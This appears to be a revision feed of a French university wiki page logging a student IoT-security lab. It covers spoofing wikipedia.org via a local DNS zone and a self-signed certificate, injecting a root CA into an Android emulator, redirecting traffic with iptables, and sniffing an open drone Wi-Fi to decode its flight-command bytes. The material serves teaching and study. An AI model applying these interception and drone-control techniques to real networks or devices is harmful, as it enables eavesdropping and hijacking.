adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;L'installation du certificat a été réalisée avec succès. Mais j'ai finalement laissé l'approche par machine virtuelle car le drone agit comme un point d'accès Wi-Fi donc  privilégié l'analyse du trafic réel. J'ai utilisé mon téléphone pour envoyer les commandes de pilotage et l'ordinateur  avec le Wipi et Wireshark pour intercepter et capturer les échanges de paquets entre le téléphone et le drone afin de repérer les octets de directions&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
Utilisation de la carte Wipi&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici, j'ai mis un filtre pour intercepter les paquets du drône :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* ne garde que les '''donnée''' (Data)&lt;br /&gt;
* ne garde que ce qui passe par '''commandes'''&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wireshark.png|vignette|869x869px|néant]]Avec le filtre &amp;lt;code&amp;gt;wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&amp;lt;/code&amp;gt; Il y a le flux unidirectionnel émis par le smartphone (&amp;lt;code&amp;gt;192.168.1.100&amp;lt;/code&amp;gt;) vers le drone (&amp;lt;code&amp;gt;192.168.1.1&amp;lt;/code&amp;gt;). Les paquets capturés d'une longueur de 9 octets correspondent aux instructions de vol envoyées.&lt;br /&gt;
&lt;br /&gt;
Sur la trame sélectionnée (&amp;lt;code&amp;gt;03 66 80 80 ba 80 00 3a 99&amp;lt;/code&amp;gt;)  on peut identifier l'en-tête fixe (&amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;), les axes au neutre (&amp;lt;code&amp;gt;0x80&amp;lt;/code&amp;gt;), et la modification du '''4 ème octet''' (&amp;lt;code&amp;gt;0xC0&amp;lt;/code&amp;gt;) qui correspond l'instruction '''&amp;lt;nowiki/&amp;gt;'décoller''''&lt;br /&gt;
&lt;br /&gt;
=== Connexion Zabeth-Drone ===&lt;br /&gt;
Configuration wifi :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iface wlan1 inet static&lt;br /&gt;
  wireless-essid WIFI_UFO_2320c0&lt;br /&gt;
  address 192.168.1.101/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vérification : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iwconfig&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
wlan1     IEEE 802.11  ESSID:&amp;quot;WIFI_UFO_2320c0&amp;quot;  &lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   &lt;br /&gt;
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:on&lt;br /&gt;
          Link Quality=63/70  Signal level=-47 dBm  &lt;br /&gt;
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;code&amp;gt;ping 192.168.1.1&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11171</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11171"/>
		<updated>2026-01-13T14:18:15Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Drone */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
Utilisation de la carte Wipi&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici, j'ai mis un filtre pour intercepter les paquets du drône :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* ne garde que les '''donnée''' (Data)&lt;br /&gt;
* ne garde que ce qui passe par '''commandes'''&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wireshark.png|vignette|869x869px|néant]]Avec le filtre &amp;lt;code&amp;gt;wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&amp;lt;/code&amp;gt; Il y a le flux unidirectionnel émis par le smartphone (&amp;lt;code&amp;gt;192.168.1.100&amp;lt;/code&amp;gt;) vers le drone (&amp;lt;code&amp;gt;192.168.1.1&amp;lt;/code&amp;gt;). Les paquets capturés d'une longueur de 9 octets correspondent aux instructions de vol envoyées.&lt;br /&gt;
&lt;br /&gt;
Sur la trame sélectionnée (&amp;lt;code&amp;gt;03 66 80 80 ba 80 00 3a 99&amp;lt;/code&amp;gt;)  on peut identifier l'en-tête fixe (&amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;), les axes au neutre (&amp;lt;code&amp;gt;0x80&amp;lt;/code&amp;gt;), et la modification du '''4 ème octet''' (&amp;lt;code&amp;gt;0xC0&amp;lt;/code&amp;gt;) qui correspond l'instruction '''&amp;lt;nowiki/&amp;gt;'décoller''''&lt;br /&gt;
&lt;br /&gt;
=== Connexion Zabeth-Drone ===&lt;br /&gt;
Configuration wifi :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iface wlan1 inet static&lt;br /&gt;
  wireless-essid WIFI_UFO_2320c0&lt;br /&gt;
  address 192.168.1.101/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vérification : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iwconfig&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
wlan1     IEEE 802.11  ESSID:&amp;quot;WIFI_UFO_2320c0&amp;quot;  &lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   &lt;br /&gt;
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:on&lt;br /&gt;
          Link Quality=63/70  Signal level=-47 dBm  &lt;br /&gt;
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;code&amp;gt;ping 192.168.1.1&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11170</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11170"/>
		<updated>2026-01-13T14:17:18Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Drone */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
